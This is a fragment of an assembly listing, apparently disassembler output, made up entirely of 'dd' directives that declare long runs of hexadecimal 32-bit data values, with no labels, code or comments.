		dd 85CCE5B8h, 615F7318h, 0E7314A37h, 0E9901853h, 6D57A8C8h
		dd 47463E9Dh, 35348C6Bh, 0EF25B4EBh, 82A98DF4h,	0CB91D898h
		dd 9917E6D5h, 1D49F5Bh,	0BD2BCDF7h, 0B699CF7Dh,	4DFBFE12h
		dd 0CA87762Fh, 1527D9D6h, 5956A17Dh, 40B3DF06h,	35E97EBDh
		dd 0DA49C9A5h, 0BE0FD175h, 0BFF033BCh, 3AD1A2Ah, 17EE4904h
		dd 0C2BE247Fh, 8C590EDCh, 0F9AFF5F5h, 1F885128h, 82DEBF56h
		dd 0C0F6C749h, 0DA0C4F61h, 0D81A3133h, 2A11C57Dh, 28ED9649h
		dd 0CC9CB545h, 0E6038948h, 42D37397h, 7DF454B8h, 0F79D5C5Ch
		dd 6AAEA447h, 1CDAF4FFh, 72870B26h, 79E38502h, 0B16FCF45h
		dd 3F5CF012h, 137C45D3h, 0FE8B4313h, 2BBBF845h,	98B49575h
		dd 0CEBBFDD7h, 5D893A11h, 7FC5541Bh, 0D9BB78D1h, 0F61E3E7Fh
		dd 0B552824Dh, 0B461AB20h, 0EA8AF756h, 3E05B9D9h, 599EF8EAh
		dd 0A7A7D858h, 0D7DA5C24h, 0C8DA299Dh, 7628F231h, 0EF9EF939h
		dd 6B0C41D1h, 0A4C6F129h, 0F9B8920Ah, 0A02698A1h, 5DB22384h
		dd 0D9456B55h, 0DB8725F0h, 71268993h, 30C544FFh, 0E05B6341h
		dd 0EA3356ACh, 554ED477h, 92D02946h, 0F1FF2B5Fh, 175DDB4Bh
		dd 4B4418BDh, 0E292D533h, 0CC7B4A38h, 72967F1Fh, 13006730h
		dd 0D40CACB7h, 1D4CAEAAh, 0D3F8BB0Dh, 6D911577h, 0C41E7E1Ah
		dd 0C02C038Dh, 3C565BF0h, 9945E04Dh, 82C5A84Bh,	62B0438Bh
		dd 0AADC83AFh, 0F5DFAF9Ah, 368BDAABh, 0C5C44239h, 374C75E1h
		dd 0CC3829E3h, 0F03E2D4Fh, 17ED4143h, 0EA9A297Eh, 0B83DB2Fh
		dd 4D6FDF1Fh, 8578B3A8h, 0E6404E5Fh, 0A73ACADCh, 0ABE2EB16h
		dd 8B0D6BB2h, 0AD106A2Fh, 179FD6CAh, 4603672Dh,	0DE1261DFh
		dd 14014182h, 4D44A6CAh, 227131D8h, 0D0C224BFh,	141E8FA7h
		dd 4836143Ch, 0A53323Eh, 3DD1A9D5h, 0F1596FB2h,	0E5178ED5h
		dd 0D1F50787h, 0D5428360h, 8B19CEC3h, 0A030A67h, 5B294E54h
		dd 3BCE0C2Eh, 0D4043494h, 2DCBB721h, 80C7A940h,	0DC3BB125h
		dd 77B82534h, 0B20FE093h, 0C9E1A564h, 4C4D08FDh, 9B9DD689h
		dd 0D3905789h, 759C5139h, 2FFB4A2Eh, 0B4710FC6h, 7696A0AFh
		dd 6FEA5D9Ah, 0C8890733h, 16FD00A1h, 38C9BC1Fh,	0D78D595Dh
		dd 87484677h, 0E3ED2FF7h, 1D893E8Eh, 4976DD7Ch,	0F27F78B4h
		dd 0B466A8Dh, 0D12A1F93h, 0C24BCBA9h, 7F71B60Dh, 7378C1DAh
		dd 55311D15h, 837CC2E4h, 9E9BC3FEh, 0AB2D5A05h,	75D3577Dh
		dd 0FACDD85h, 0E7CEBC06h, 0B08A797Fh, 796B5E7Fh, 0AAD1B0DAh
		dd 8794BC34h, 0F17EC7D7h, 5E15C875h, 7B30884Eh,	6D8611EAh
		dd 0DB273E0Ah, 688F26EEh, 83BA37EFh, 478F04ACh,	0E970A5A9h
		dd 0B56EF62Eh, 0A225B134h, 8609F285h, 98A9625Dh, 0EB7EC54Fh
		dd 0F36956CBh, 0F2630BAh, 82E3799Ch, 0DE8B11FAh, 4F202D10h
		dd 582B6BB4h, 6A89BDCEh, 27DB9AAFh, 483C01FAh, 5F11C0FCh
		dd 0DAA9D55Fh, 0FF298FBBh, 2F8C715Ch, 0FD017B00h, 0DB844A3Eh
		dd 27D60DE8h, 253B201Dh, 40BF17D9h, 3EFB936Fh, 0D172FB75h
		dd 7C55255Ah, 9BA9FD55h, 0DDB8EC0Fh, 4B8A6FD6h,	5F653C65h
		dd 1B2A3FE8h, 99EBABCEh, 38935482h, 787B739h, 0D900E847h
		dd 48AB1875h, 0A5B05574h, 0B1E75E07h, 602D0C60h, 0C1A7C6Ch
		dd 0BCC133C1h, 0D77BCA31h, 0B9CDCC69h, 27B0B49Dh, 782A5520h
		dd 410ADD5Dh, 98FF155h,	13FD0FE7h, 0ACB39591h, 74E3D5FAh
		dd 75EE3419h, 3F6FAE4h,	0B3D48F1Bh, 0B5AA87EDh,	61CEA089h
		dd 2EE1E591h, 0A82F045Fh, 91688757h, 0B9FF147Eh, 0AE84E45Fh
		dd 0A558550Bh, 0EEBFE6ABh, 0C7EABCB5h, 3C450E0Dh, 0CD97FC1Fh
		dd 19765D72h, 0D9DF5D83h, 3C7ED3E0h, 0E1FB7170h, 169496B3h
		dd 0F00C5542h, 169E688Fh, 19F740F6h, 7FBC582Ch,	0A5F7C4F3h
		dd 3A685A9Eh, 27CF40E0h, 2D55664Fh, 0B9932766h,	0ACEA5982h
		dd 4BAA70D9h, 5F3CE245h, 0AE5ACF2h, 95FB085Ah, 0CBA80308h
		dd 0BCB20439h, 5288EF51h, 0CE1A2085h, 0B1FBF882h, 8C4C0AEh
		dd 6A756A36h, 2E0B8DF7h, 0CC6F1B26h, 7D853076h,	62BDAD51h
		dd 0B1CBEEBAh, 0E99CEF76h, 0C5910D93h, 0F73F8659h, 712201AFh
		dd 157668BEh, 0D1D50E8Bh, 0D29C78A1h, 6CA6BA3Dh, 21F8C016h
		dd 98088D70h, 0BED07DAEh
		dd 0AB1833B2h, 0BF8B1CDCh, 0D8CAB8D2h, 4D394D68h, 940EDFF0h
		dd 0EBC395D5h, 28332797h, 0F7E143D5h, 4EDD673Dh, 7872BADh
		dd 0F7628D36h, 0DA8DA7C9h, 0F144B8B8h, 5B4872AFh, 8DFCAA4Dh
		dd 2B2B2DA2h, 0A889D258h, 4920B19h, 0D7B4DE17h,	0F2E7E76Dh
		dd 0D337AA28h, 95F7ADDAh, 57662257h, 0D092A096h, 0FABAB1AEh
		dd 0BE0B5F4Bh, 95C1996Ch, 0C8BFB72Ah, 0AF85AD79h, 601DE704h
		dd 8B8922FAh, 0BDF00748h, 0CE8001C2h, 85F64BFAh, 9DD8EDA3h
		dd 12EC1C16h, 702A54E8h, 1D1EBE8Ch, 5EFDDAFh, 303F7C3Fh
		dd 1B637E1Ah, 0A2913EDFh, 0C3D5F46Ah, 3982BECDh, 0E8E83C1Bh
		dd 55853FCEh, 44E4BAB3h, 0FB394865h, 0E98158BFh, 2B1462B8h
		dd 0D44F7663h, 0AE02CF79h, 643FF722h, 0C302BB1Bh, 4D6917BFh
		dd 6F9194Eh, 9FEEDD9Fh,	0A6D2A408h, 5DC88D71h, 776C1371h
		dd 0B1E733C9h, 32723532h, 46ECD047h, 0F8A96F40h, 46E300A7h
		dd 94EEE95Dh, 3FF2CFDCh, 33E972h, 1FF89348h, 0D2BBB1B0h
		dd 2C826627h, 13F1C2CFh, 58F73B67h, 0B84AD856h,	0B6D3DA64h
		dd 4729602Dh, 917E1940h, 61E2F71Bh, 0F61E3522h,	99BAD62Ah
		dd 50EC2550h, 0FD9F6BB9h, 2CF36F65h, 0DE5A8A54h, 4C2D65CCh
		dd 441594B5h, 6BF30B94h, 6E9D4313h, 0F2DE0CB7h,	0BE4D9573h
		dd 0B2716ECBh, 0D74CB66Eh, 0F567DC1Dh, 0CB6EEAADh, 2B3A00F4h
		dd 41030819h, 764A346Ah, 92F65A87h, 0BB51AE7Ah,	0F954955Eh
		dd 0E8BDB476h, 0FBBA2E1Bh, 90682526h, 7DB126EBh, 7DE77E0Eh
		dd 0E50870C4h, 67A37BD8h, 0A315B999h, 0E2EF704Eh, 0D9AF5F9Eh
		dd 0DC42C55Eh, 0BD79746h, 55C5703Ch, 0AFCAB6A8h, 574AF36Ch
		dd 8E32114Eh, 0E76F5513h, 2C5ED0C2h, 0B4B233D4h, 172E0BF2h
		dd 0A6DE83E3h, 5F65D14Eh, 0FD41933Ah, 8A2F2A76h, 2AACF737h
		dd 9A458922h, 0CCCF3CAEh, 0C5FBE91Dh, 4E5B6E28h, 0C2B0DE4Ch
		dd 9A1720DCh, 5520BE65h, 2D79E8B4h, 7EAF563Eh, 0FDCABA87h
		dd 0D7B7C682h, 0BBA2481Eh, 74F73FBCh, 2561AD29h, 0D2BD7C87h
		dd 4682F415h, 9B4CC47Bh, 5752BAD8h, 54D8A39Ah, 0D956B2A3h
		dd 0DDC3287Ch, 0D2B20805h, 6ABDD22Ch, 0F89EAE28h, 0EF0DA3E3h
		dd 0EB41C2ABh, 9915632Bh, 0AC4A25EBh, 482CC41Bh, 8C3BD717h
		dd 3AD99418h, 3D5BF0B2h, 0D5C45A37h, 0B9CD7C0Dh, 241101C0h
		dd 3417CBFEh, 0B7519825h, 0C2487BFBh, 0C3DDF68Dh, 0D7746EE1h
		dd 8D5FC078h, 788DB03Eh, 6EC02A15h, 255F422h, 0ABDB2A79h
		dd 7C7E6AE5h, 1FD1CCD5h, 53A4BBEh, 9FF85FCAh, 13948ED7h
		dd 0DFF8D1C1h, 0E362C262h, 1FDBD52Ah, 0F0ABE2C6h, 0D6D9456Ah
		dd 0A1A51C88h, 3E44A66Dh, 0A54A8849h, 533D6D88h, 4FE5D066h
		dd 0CCB270F3h, 5DBB581Fh, 0D3531988h, 0E95F1199h, 0AC39CF16h
		dd 78D6A9E9h, 0BE2C84DEh, 622CD98Ah, 389892D0h,	118FA7CDh
		dd 6435D5FEh, 5A2E8E34h, 73D244BCh, 4AEA5C01h, 9DA36477h
		dd 0DBE34CCAh, 134FEFB4h, 0D651DE86h, 64DF8F71h, 87E79CCAh
		dd 8A9DA5Fh, 479AC671h,	0A361606Eh, 6E3E1F86h, 0A0825747h
		dd 4202F274h, 0F34AAE96h, 0D3B3BCC8h, 0E737C936h, 23F84A74h
		dd 0AD4C241h, 519BF07Ch, 9DDCE8B4h, 0C5BAE793h,	5543B383h
		dd 0DFA69D3Fh, 9C321B71h, 68C08DEDh, 4C6488B3h,	5733BF27h
		dd 64E66DC6h, 0BBE114BAh, 473AD2E7h, 0CB593A9Ah, 0E325AAC3h
		dd 0A3C08887h, 0F2E6B6F0h, 0FF85E3B0h, 0C81EB626h, 0EA158982h
		dd 4F9455A2h, 4B7B85DAh, 0C8482795h, 9CEBB1EAh,	0DC8B9466h
		dd 0DCDC5B0Bh, 3EB82CBh, 967B4107h, 3AC36146h, 4D662D1Dh
		dd 5F6FFD12h, 40F804DCh, 0E9B574B2h, 0DA717857h, 0E9789E50h
		dd 6736F5C5h, 955107DCh, 40FAED65h, 0D6BB7749h,	0F5BB019Ah
		dd 3EB9CF56h, 3A07F28Dh, 704BDC0Fh, 0E5BA6F94h,	0FC69F9A3h
		dd 77B81472h, 4083A752h, 0E90581FDh, 534E8A5Bh,	3EAA663Ah
		dd 88AC7625h, 77859BC9h, 0EEB9DE1Eh, 0A61C495Dh, 0E5149A71h
		dd 0A20AE46Dh, 0C4EF5D25h, 6D56EF8Fh, 42D63F8h,	655E33B8h
		dd 0EDD118D8h, 0BC47D981h, 177AB555h, 0AD110795h, 0C6A61D63h
		dd 71A998A6h, 0EFD7FFD4h, 0D2AA26FCh, 9E5A6DB5h, 108A1E0Bh
		dd 37CBBB84h, 3531F43h,	58B37572h, 0F51BCFBh, 0F96293CAh
		dd 833AB455h, 45758F72h, 3BE1BC57h, 92A7151Bh, 0AA062380h
		dd 0E555B185h, 84B9A8A6h, 0AE6D8959h, 396328C7h, 7A224AC5h
		dd 0C843B8EFh, 0E8EED934h, 0EBCF383Ch, 1054E1DCh, 953AD3B0h
		dd 0C2F8358Dh, 0B24C0B50h, 57660B4Bh, 5F305F12h, 80E5075Ah
		dd 0AD4ABB2Eh, 79952E42h, 0C885A65h, 67FBCDDDh,	0BCAAAABDh
		dd 2D11FDABh, 0EE1CA4E5h, 0D5972CEBh, 0F30F51DEh, 0E0EE5987h
		dd 99BE0FC4h, 0EEEF2FE7h, 0FE4379CDh, 0CF100996h, 0B7BAF1F7h
		dd 0E246EC9Bh, 0FE839826h, 7E0A2D17h, 70923508h, 0D2945F47h
		dd 855D940Bh, 7C928BE3h, 4C84B831h, 462FE840h, 0D36CA2F9h
		dd 3080E091h, 0CDFAFC80h, 168191DCh, 7E366874h,	20C55F8h
		dd 6DE907B8h, 0E4F8386Ch, 0CD939E35h, 7442D7F0h, 67D474FFh
		dd 250C9DCAh, 0E778313Dh, 52BD64E0h, 73B6DC9Fh,	0E3BED6B3h
		dd 0E564B89Bh, 0EA5C3E8Ah, 6BD37F60h, 0DFB1ECA3h, 0EF569BCAh
		dd 59ACD77Bh, 0D0B7B46Ch, 0D2327DABh, 197EF672h, 0CDB2FF10h
		dd 6D43A026h, 0D83E0571h, 5C715A33h, 5BE22791h,	0FC7AF2CAh
		dd 0AFBDCF64h, 0FEB521F8h, 1955CC51h, 9D1795FEh, 3999F172h
		dd 0EB366429h, 9F2F796Eh, 84342837h, 0CF53D6C5h, 0B3D2BB0h
		dd 0A0C67720h, 0ECFB2E55h, 0FDE31A30h, 0F57667F4h, 48C77F48h
		dd 0C98C3BC4h, 0AD171F83h, 6DC9A8B7h, 8A68194Fh, 4120D9C8h
		dd 24FEF89Dh, 0DDFC277h, 6DCFF774h, 0E751ED95h,	0D2FC79C2h
		dd 1211AADFh, 82CAA46h,	4C0EB403h, 786B671h, 1B879B4Ch
		dd 5637D6F2h, 26B67E66h, 0B44C567Ch, 7A5D1353h,	0C3FC2C1Ah
		dd 3B926F03h, 392B62A7h, 0BFCEFCB9h, 0F743EEF4h, 377E9BC9h
		dd 0B3AA67Ch, 0FDAD5824h, 5123CAC3h, 0AEF5CAC9h, 0AA86FACEh
		dd 6DB30008h, 0D9F3C6FBh, 7BBB5EA8h, 0F586CDh, 0B16EF431h
		dd 3942E4BDh, 0BD06EABEh, 0C0FC96FEh, 0D09DCBBh, 0E471A4Bh
		dd 8CE518E6h, 0ABB7DF5Fh, 39D79FD8h, 0C659D147h, 0E17422D1h
		dd 0B6BC3CCBh, 7F7DFBFDh, 45904EB1h, 0ECF8CF5Dh, 2F6097FFh
		dd 0C6F6E639h, 0A1F8EE62h, 0B04AE45Ch, 6C0FCDFFh, 12CAEC3Fh
		dd 5BADEAF1h, 0D3DBBD3h, 692F1418h, 87B2891Ah, 0AD5AC3C3h
		dd 0E8303F96h, 4D7BCBF8h, 0B86F2A5Eh, 695FE379h, 277FED71h
		dd 8EA481CDh, 1A416CB6h, 1E3F694Ah, 9DE27BD8h, 0F483CFF3h
		dd 0CE7A3A8Ch, 0FB573530h, 5374955h, 4BDBA37Ch,	3A3C87CAh
		dd 9E1FA161h, 4792269Bh, 0B6607B41h, 7BE79901h,	293B7BBCh
		dd 9D73CA6Ch, 8E24383Bh, 8B33E762h, 0FB74FBD5h,	911BA616h
		dd 7CD8D40h, 3A0707DDh,	0EECCACA6h, 57507243h, 19A6D3E1h
		dd 0B091D258h, 0DAF262F6h, 0A0E858F3h, 53F2315Ch, 1B5F43A0h
		dd 175B2B1Fh, 0A4B8331Fh, 5A652857h, 6EF035D0h,	0AD36681Ah
		dd 0D942AFEh, 0E2608DEDh, 2A3D2DA9h, 0D7F37834h, 236E6732h
		dd 0EFA78B37h, 0E77188A8h, 22FD6BBDh, 0A73F7E8Bh, 80CB0C9Dh
		dd 949274FCh, 0F9A855F8h, 0B5AFCF15h, 0E7218D0Bh, 0E2EADD3Bh
		dd 8DBE0FBh, 0CACEE78Ch, 0B575213Ah, 3139DAFFh,	5F97C275h
		dd 6025168Eh, 0A2AD603Eh, 0BB0DA600h, 0BD1B8BFAh, 1E2B2543h
		dd 988CABBFh, 27AD79FAh, 2C4FED67h, 31CC1A0Fh, 0A32780BEh
		dd 0E6BBCD82h, 0C13575B2h
		dd 0E077AAA1h, 0DB881A05h, 0E96A74E3h, 9798AFF6h, 2B8D0B1Dh
		dd 4C87376Eh, 0B3250BC1h, 0D221E2E4h, 0AFEC5962h, 2409DCE1h
		dd 29659A4Eh, 43F0D6C6h, 0DAFA70D9h, 25B475ACh,	49DADC6Eh
		dd 64AA8BABh, 76C111C9h, 0EE02EF2h, 0D981D0E8h,	0DDA74C6Ah
		dd 6709DB56h, 0E8FA8D7Fh, 0E0557457h, 0CB767C95h, 0A87E0659h
		dd 0C7507755h, 30B1777h, 0ECA1C8CFh, 0E7B1444Eh, 28C975ACh
		dd 566D2ABAh, 877A4450h, 0C4B71D1Ah, 73D694F1h,	0B9C9E8ACh
		dd 186EE417h, 0ACF1EDC8h, 2EB2BD6h, 35B7FF6h, 7C6AA5Ch
		dd 0FCD4288Fh, 61B8E362h, 241FCCF3h, 9D7B76CAh,	0B984F42Ah
		dd 438318EDh, 0C3F04F6Eh, 0FAD1C88Ch, 55E5DADBh, 303572D1h
		dd 6ED4C1A4h, 7E73DACDh, 7B8C4694h, 91B15EA7h, 2693F066h
		dd 0FF6E280Fh, 0BFCBA0FAh, 0E2ED2D32h, 530ED95Bh, 3B5292E2h
		dd 88A9F3ABh, 0E11D8E8Dh, 31C9CC3h, 2EA8DB7h, 573ED372h
		dd 1FCF932Ah, 0C09489F3h, 0BF9B7902h, 3F8CFCFEh, 948DA0F5h
		dd 9AAACEB6h, 662EAA4Fh, 2417D77h, 0CF55CBF8h, 3122F9F3h
		dd 58FAD642h, 4F99B0F2h, 5311A4DDh, 0E0BC8186h,	2839A212h
		dd 4D7CB5EAh, 0BD52C735h, 0FC67CD02h, 4782E18Bh, 0F8E07D2h
		dd 0BC7A155Ch, 0AF2C7184h, 4A33C6B7h, 39AD6D16h, 0AA5ADF8h
		dd 756B022Ah, 2077C482h, 87735FE5h, 7DD7D9Ah, 46F87A86h
		dd 9BDF6AACh, 9D280383h, 571DA590h, 0BFEEC825h,	0B33D24E4h
		dd 0F9C5D756h, 988C12B7h, 0A4FD5EC4h, 63236ADBh, 84B6730Eh
		dd 81FAF356h, 0B32B377Fh, 6854DEB2h, 68F92017h,	7F96241Ah
		dd 0C850BFB1h, 9746DF9Ch, 1F45BF8Ah, 0B76AEFF7h, 0D68C14Eh
		dd 3F37D71Eh, 20C4EAA8h, 0CCFFB570h, 0FC3A981Ch, 15910C3Eh
		dd 5BA9589Fh, 0FAEB652Eh, 0BA9BE942h, 67B984F0h, 0C35E3B21h
		dd 0FAFE6D9Ch, 78327044h, 1A55D2E3h, 0A666D56Ah, 58524ED8h
		dd 0DD00B0B5h, 0AD23174Ah, 53A58AF7h, 4FBAD494h, 781FF957h
		dd 89F54B76h, 0E8995D63h, 3E46A9B3h, 0CB7AC3B6h, 0CA128A98h
		dd 8763602h, 71DB3A3Bh,	0B42F71B1h, 2677DC4Ch, 7DDEFAB2h
		dd 0CAF32DA5h, 37BD3B6h, 0ACDC597Fh, 700B3392h,	0E2468A49h
		dd 0F2EAC8C6h, 4DC4056h, 899D6E12h, 0A29B2A09h,	0ACDE28A6h
		dd 2D34ACCFh, 0E78D89C0h, 5847DF3Bh, 0FCC13175h, 26E8DED5h
		dd 0F82DABF5h, 7874C50h, 652D1D45h, 90ADB181h, 0A8757EA8h
		dd 60A010E3h, 0D962B185h, 5E1A5F28h, 72FE4F61h,	0D051DF0Eh
		dd 36224312h, 0B1BAF628h, 60F360BFh, 0BF9AF462h, 0ADEAB82h
		dd 75EFA3E0h, 8E6D2F8Dh, 0A07E81B5h, 9C16D578h,	6ED7E89Bh
		dd 1AF12815h, 0D0E387Eh, 760F4B6Bh, 0EC4FEB6Dh,	49A6F22Eh
		dd 0B97E9B16h, 5D11DD7Ch, 0EA2E0FF6h, 0B9195FB4h, 0DBB62ECDh
		dd 417229B5h, 6D6E40D5h, 1B3C6867h, 1FF4389Ch, 3156B55Ch
		dd 26B54EAEh, 0C46B987Eh, 0EDC2F66Bh, 0C871574h, 0DF05FEFCh
		dd 0FC95B377h, 0A9F6DB02h, 3DAD2375h, 9349C2D1h, 693BAA72h
		dd 1CD47166h, 42F195A2h, 0D263FB55h, 0C0E15173h, 6609A3DEh
		dd 0DF2DFD91h, 0BAF16905h, 79B2F6B4h, 328761C5h, 55E64A60h
		dd 101EC865h, 475EBB12h, 0E57720BBh, 5F48E735h,	0B527430Ah
		dd 0AB18AE8Ah, 8F63EBD8h, 6E69BE4Dh, 0DBAAE432h, 0A3916886h
		dd 0D18CEFCDh, 653123AFh, 45EB17E0h, 0CDD9FEC5h, 214C12ECh
		dd 6AC8AA2Eh, 0E7EA76F2h, 6F6BB6D6h, 8F52AA4Ah,	0DDEAF6EDh
		dd 14529E7Eh, 0C0F6AAFEh, 0CDAE7130h, 0AAA76037h, 3E7C65F4h
		dd 0ADC11978h, 0E5F49D0Eh, 5300EE9Fh, 0A828A71Dh, 84D25BFDh
		dd 0D02201C2h, 94A5ADDCh, 3464993Fh, 9072C7A0h,	0B48AA153h
		dd 85D9980Ch, 0A3CE2CEBh, 0EDCF41CDh, 6E153D1Ah, 9E047438h
		dd 5C4E1423h, 1569C4h, 593EB259h, 0CA32E552h, 8AA78BD2h
		dd 0F9B6FFD5h, 0FB94C3C0h, 0B0B79F27h, 0D50B7FBBh, 8E47FC15h
		dd 648C475Bh, 85AD90ABh, 916E95D7h, 0E7E82FE8h,	0D7D1EC0Bh
		dd 0BD709446h, 0A3B5687Fh, 0D6D9EAB5h, 0AA511CC7h, 76627344h
		dd 0C9681860h, 2D3CE0F4h, 9EE9187Dh, 826406E1h,	0D68A77E3h
		dd 0F2BD0C24h, 3A761AF5h, 0BCD14D07h, 3BE4A82Dh, 953DB4BCh
		dd 1AB3A675h, 4E0D547Ch, 24402C8Dh, 0CCBC95BFh,	590BAE17h
		dd 0D584E1A5h, 0C4A95475h, 0F755195Ah, 96B7964Eh, 0CACD74C2h
		dd 33017900h, 0A9518A87h, 4A7458EEh, 13F501D7h,	0A0CA6FF1h
		dd 3D162942h, 0D23EEC1Eh, 1F7ADDDCh, 33288766h,	93AA98BFh
		dd 0A1960A27h, 70D9DB99h, 0F83F6956h, 0A267898Bh, 0FEF84A9Dh
		dd 0C89D2686h, 4C253E37h, 665FB575h, 0CCE1B082h, 0BC7BCE02h
		dd 4D26313Ch, 0C13CF982h, 8EAE5D92h, 220D253Fh,	0FD5BE401h
		dd 0F6ED1822h, 34EAA781h, 7727B642h, 86679769h,	0C2F17D7h
		dd 21E4E6BDh, 537D35DDh, 93129D62h, 0B5C04F3Bh,	148D3CCh
		dd 0B8C2FFA1h, 0E380966Eh, 96D50ACCh, 0F271EA85h, 1F7F52A0h
		dd 0BBB04AF9h, 0CCF530ACh, 0CEF17DA6h, 7CC96253h, 76B3CC34h
		dd 2EDB2B45h, 4E7DE2BEh, 5A2A4B7Dh, 4C17E677h, 0F935B7DDh
		dd 7238799Fh, 2D72F8FBh, 0A0AE9473h, 0F4620C7Ah, 152EE446h
		dd 29C39409h, 7AFF12FDh, 1EFE717Ah, 6B112553h, 0DE972FD1h
		dd 0E36BCC99h, 0C66F0CF5h, 0AC17688Ah, 0A740C4DEh, 92DD82Eh
		dd 9D02844Dh, 76F4D237h, 0D291451Ch, 8DC5FA82h,	0DEEE146h
		dd 0B83261F8h, 337A21D6h, 0CB8E989Bh, 0B3EC7DE6h, 96EF2B68h
		dd 0BC2BE01h, 630A540Dh, 0BFD937FBh, 2707753h, 0EEE8CAEh
		dd 0DF58EF4Dh, 4FB435FEh, 79CA232h, 0D68DF384h,	0CFD6E481h
		dd 85765E02h, 0FBCE0507h, 789F9F7Ah, 32525496h,	0ED30170Dh
		dd 0F241FAD7h, 0B8564678h, 55FD77A4h, 2A0FA071h, 2F7403D7h
		dd 9F89AAAFh, 69B68D8Eh, 16DF215Eh, 0B2A38AA0h,	0DACEEDA4h
		dd 910668D9h, 548EDED7h, 0D6FA87B5h, 303097E0h,	0C3F01F3Fh
		dd 0EBB8E9C9h, 0F58F756Bh, 4F74345Ah, 0E1D57778h, 0E5477222h
		dd 3B12A602h, 89FA027Ah, 0F494C3C3h, 0B1FD0C7Eh, 70A4CD3Dh
		dd 0D2CA0427h, 0ADC60FEAh, 78635D64h, 9040383Ch, 0F2B8E490h
		dd 15E4798Ch, 0BBDB7310h, 0FBD76606h, 9BDF9CE0h, 19B6C0DDh
		dd 12D1A9D6h, 2D27CF4Fh, 430319BCh, 0C7254F1Fh,	0C92CF0ACh
		dd 554D6AF2h, 1B6FCAB2h, 7BA4C42Ch, 1BE3661Fh, 105D8A7Ah
		dd 0D113BB57h, 15E03BDFh, 0C61DAB33h, 360625D1h, 8B77F3D8h
		dd 0D5AF6AD6h, 938F3219h, 51042B03h, 99993DF8h,	0ECFE2685h
		dd 8508BF2Ah, 0D7C131D5h, 0ADACDDA4h, 0B88A9FCDh, 9756DCB2h
		dd 6FD1C8D5h, 0D1DD4292h, 9DA757C1h, 0FA165908h, 128741B4h
		dd 0D357D3F5h, 515DE062h, 76B897E9h, 0AF3B71E1h, 51DC4F16h
		dd 0E9C6EA5Fh, 0B13DCD0Fh, 14258137h, 0A2895C99h, 64695EAAh
		dd 0F46AEB51h, 0FC336109h, 47E24DD7h, 0A0AC75BAh, 74AD57C2h
		dd 0FE0EF709h, 0AF5DB4D2h, 4DB1FF28h, 0DA10C574h, 5DA201B7h
		dd 0B4F1D8CDh, 250AFCBFh, 89843299h, 6076E72Bh,	0C412CEE2h
		dd 0C0E08AC6h, 0B938EEB8h, 0B7DBB1D4h, 8E01758Fh, 236883E1h
		dd 9CA60D23h, 3338DDBAh, 7903E262h, 5AE8776Ch, 6BA289CEh
		dd 481A19C1h, 8E401705h, 85573B6h, 9F08FBA5h, 0E7FBE25Eh
		dd 4C9FA0E1h, 0F8C7AFF9h, 41806DA5h, 0D2160513h, 287E46E7h
		dd 0BA9E37D6h, 0F34E2B7Ch, 2E5E54DAh, 27DF6364h, 84168B47h
		dd 0EDA52DEFh, 1C8CE976h, 3A714AD1h, 0A62848CFh, 944A06CEh
		dd 0CEFB2430h, 0FA9B58ADh, 6178A730h, 3E394810h, 71F4C06Bh
		dd 135181EDh, 0C31235CBh
		dd 550212C7h, 0D7340D47h, 395BF868h, 456659E4h,	2F884412h
		dd 537E853Ah, 5DF45FBEh, 3E2F4315h, 719152FCh, 5D64E506h
		dd 0C8BA0758h, 0B54CA496h, 22EFC08Ah, 69E5482h,	0D3D39624h
		dd 4014BC0Dh, 64F98EFAh, 6565673Eh, 7EBC00CAh, 73FD2D33h
		dd 4726D8D9h, 42AC724Ah, 78F50DD5h, 0E07CE75Ah,	0BC835D0Bh
		dd 0DC6AFFDDh, 5C31845Ch, 870E4782h, 0F0D4D9ABh, 0DC4A168h
		dd 7968EBB6h, 8770FCB6h, 0BE70C58Eh, 0BD3CD7F0h, 0A3513596h
		dd 2FA8C8BFh, 6DAFAAE5h, 0EA7F6CA2h, 2CED211Ch,	0AB764AD1h
		dd 0F367971h, 0A74A0BCEh, 0B0176DB8h, 0E2B749FFh, 956BFC50h
		dd 0A0646C4Bh, 0F51B3D68h, 212C6831h, 546DD5ECh, 1D82D58Ch
		dd 281F5B39h, 0A6ACF731h, 0F6C63538h, 895BC0B2h, 74FC8299h
		dd 0B06F5633h, 7500E920h, 0C69FCD91h, 2E6B41A8h, 0A6D681A4h
		dd 0DD268DCAh, 7A801C5Dh, 0E4C1A799h, 0CCA04DD1h, 0EFDF89A9h
		dd 0C7C3EF5Dh, 79C82637h, 0BE92FBD5h, 0CDB9DE98h, 1E1FE56Eh
		dd 4A97A33Ah, 0FC4EFBAh, 0E821371h, 0F06FC7F1h,	1EE336C0h
		dd 572F375Ch, 0AD411709h, 0C2ECE598h, 0F592E61Dh, 6350FDF8h
		dd 9CC3BB58h, 0B04A53D7h, 0C903F79Ah, 2EC855C8h, 0F6E73AB2h
		dd 3CECAFF4h, 0F64CF330h, 0E7B46938h, 9424BFBAh, 0C544C652h
		dd 0D6DB959Eh, 0F82DEA96h, 0F8AA14C4h, 9DF8444Ah, 8A395560h
		dd 0DD123BD6h, 9F456C05h, 0A7A1F4AAh, 57035C44h, 0F179289Eh
		dd 0E90BEB8Fh, 8DB26E04h, 0B5E257CFh, 1E019344h, 0D7D633Ch
		dd 0FDBE439Fh, 75571E9Eh, 0AA76B7B0h, 44259B97h, 14718DDCh
		dd 2D506275h, 0B168CD33h, 2C3EC517h, 51F28CD1h,	392D25E0h
		dd 97BEED41h, 0ABB3B31h, 0D3485BD0h, 6AB49BC3h,	0F691AE35h
		dd 8F441174h, 478B1D12h, 6DD8E4D1h, 0E2A597FDh,	25F44E93h
		dd 0EC33A956h, 0EA2C88F7h, 6E382BF2h, 4B8111E2h, 0F17D15B0h
		dd 0F5D49B1Dh, 0F0B6B2E8h, 0BA6680C3h, 5EA7ACBh, 0E22A6294h
		dd 0C19165BCh, 6D6B1E93h, 0F0DA1A7h, 0B68EEEE6h, 4BDAFB32h
		dd 2FBDB4E1h, 1342422Ch, 0F8D2F7DAh, 0D0E6FC34h, 5B46F955h
		dd 0C16D96C5h, 6FB9C1Ch, 0A6B0066Ah, 17725C4Ch,	0A315D52Ch
		dd 0CF187F86h, 4F687B65h, 9EBFDBC2h, 8F74522Ch,	941E62BEh
		dd 0CA3075ACh, 0D198EE35h, 6D7B8572h, 0A18B4FAFh, 0D219F68h
		dd 7FECB02Dh, 7F28E9C5h, 94079625h, 0F0D51637h,	2B1FCBh
		dd 0F078F263h, 0A894AB94h, 957CD0B7h, 0A6D2584Fh, 94EDAE0Eh
		dd 0F805B5D5h, 4D8BA9CCh, 0E879BFBEh, 0A57D8AABh, 0DFE50BC4h
